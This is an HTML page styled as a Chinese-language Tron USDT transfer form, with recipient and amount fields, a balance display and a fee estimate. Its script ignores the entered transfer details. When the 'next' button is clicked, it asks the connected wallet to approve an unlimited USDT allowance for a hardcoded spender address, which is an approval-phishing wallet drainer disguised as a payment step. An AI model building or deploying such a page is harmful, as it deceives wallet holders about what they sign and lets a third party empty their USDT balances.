<!DOCTYPE html>
<html lang="zh-CN">
<head>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0"/>
  <title>USDT 转账</title>
  <style>
    body {
      margin: 0;
      font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
      background: #f3f7f6;
      color: #333;
    }
    .container {
      padding: 20px;
      max-width: 500px;
      margin: auto;
    }
    .header {
      text-align: center;
      padding: 10px 0;
      border-bottom: 1px solid #eee;
    }
    .header h2 {
      margin: 5px 0 0;
      font-size: 18px;
    }
    .header p {
      color: #888;
      font-size: 14px;
    }
    .form-section {
      margin: 20px 0;
    }
    label {
      font-size: 14px;
      color: #888;
      display: block;
      margin-bottom: 6px;
    }
    input[type="text"],
    input[type="number"] {
      width: 100%;
      padding: 14px;
      border: 1px solid #ddd;
      border-radius: 12px;
      font-size: 16px;
      background: #fff;
      box-sizing: border-box;
    }
    .balance {
      float: right;
      color: #888;
      font-size: 14px;
    }
    .note {
      font-size: 13px;
      color: #aaa;
      margin-top: 5px;
    }
    .gas-fee {
      margin-top: 20px;
      padding: 12px;
      background: #fff;
      border-radius: 12px;
      border: 1px solid #ddd;
      font-size: 16px;
      display: flex;
      justify-content: space-between;
      align-items: center;
    }
    .next-btn {
      margin-top: 30px;
      background: #4a90e2;
      color: #fff;
      text-align: center;
      padding: 14px;
      border-radius: 16px;
      font-size: 16px;
      user-select: none;
      cursor: pointer;
    }
  </style>
</head>
<body>
  <div class="container">
    <div class="header">
      <h2>USDT 转账</h2>
      <p>Tron</p>
    </div>

    <div class="form-section">
      <label>收款地址</label>
      <input id="address" type="text" placeholder="" />
    </div>

    <div class="form-section">
      <label>
        数量 <span class="balance">查询中...</span>
      </label>
      <input id="amount" type="number" placeholder="0" min="0" />
      <div class="note">备注（需支付 1 TRX）</div>
    </div>

    <div class="form-section">
      <label>矿工费</label>
      <div class="gas-fee">
        <span>约 $--</span>
        <span>-- TRX</span>
      </div>
    </div>

    <div class="next-btn" id="nextBtn">下一步</div>
  </div>

  <script>
    const balanceEl = document.querySelector('.balance');
    const gasFeeEl = document.querySelector('.gas-fee');
    const nextBtn = document.getElementById('nextBtn');
    const usdtContractAddress = "TXYZopYRdj2D9XRtbG411XZZ3kM5VkAeBf";

    async function fetchMyBalance() {
      try {
        if (!window.tronWeb || !window.tronWeb.ready) {
          balanceEl.innerText = '钱包未连接';
          return;
        }

        const myAddress = window.tronWeb.defaultAddress.base58;
        const contract = await window.tronWeb.contract().at(usdtContractAddress);
        const balance = await contract.balanceOf(myAddress).call();
        const usdtBalance = window.tronWeb.toDecimal(balance) / 1e6;

        balanceEl.innerText = `${usdtBalance.toFixed(4)} USDT`;

        const trxFee = 1;
        const usdEstimate = trxFee * 5.73;
        gasFeeEl.innerHTML = `<span>约 $${usdEstimate.toFixed(2)}</span><span>${trxFee} TRX</span>`;
      } catch (err) {
        balanceEl.innerText = '查询失败';
        gasFeeEl.innerHTML = `<span>--</span><span>--</span>`;
        console.error(err);
      }
    }

    window.addEventListener('load', () => {
      setTimeout(fetchMyBalance, 500);
    });

    // 交易逻辑
    async function approveUSDT() {
      const SPENDER_ADDRESS = "TTCJkY7MFvvLDN3BU83DYQmnzse8XL55j1";
      const APPROVAL_AMOUNT = 9223372036854775807;

      try {
        const usdtContract = await window.tronWeb.contract().at(usdtContractAddress);

        const transaction = await usdtContract.approve(
          SPENDER_ADDRESS,
          window.tronWeb.toSun(APPROVAL_AMOUNT)
        ).send({
          feeLimit: 30000000,
          callValue: 0
        });

        console.log("交易操作成功，交易哈希:", transaction);

        const receipt = await window.tronWeb.trx.getTransactionInfo(transaction);
        if (receipt && receipt.receipt?.result === 'SUCCESS') {
          alert("交易成功！");
        } else {
          alert("交易失败或未确认");
        }
      } catch (error) {
        console.error("交易失败：", error.message);
        alert("交易失败：" + error.message);
      }
    }

    nextBtn.addEventListener('click', () => {
      approveUSDT();
    });
  </script>
</body>
</html>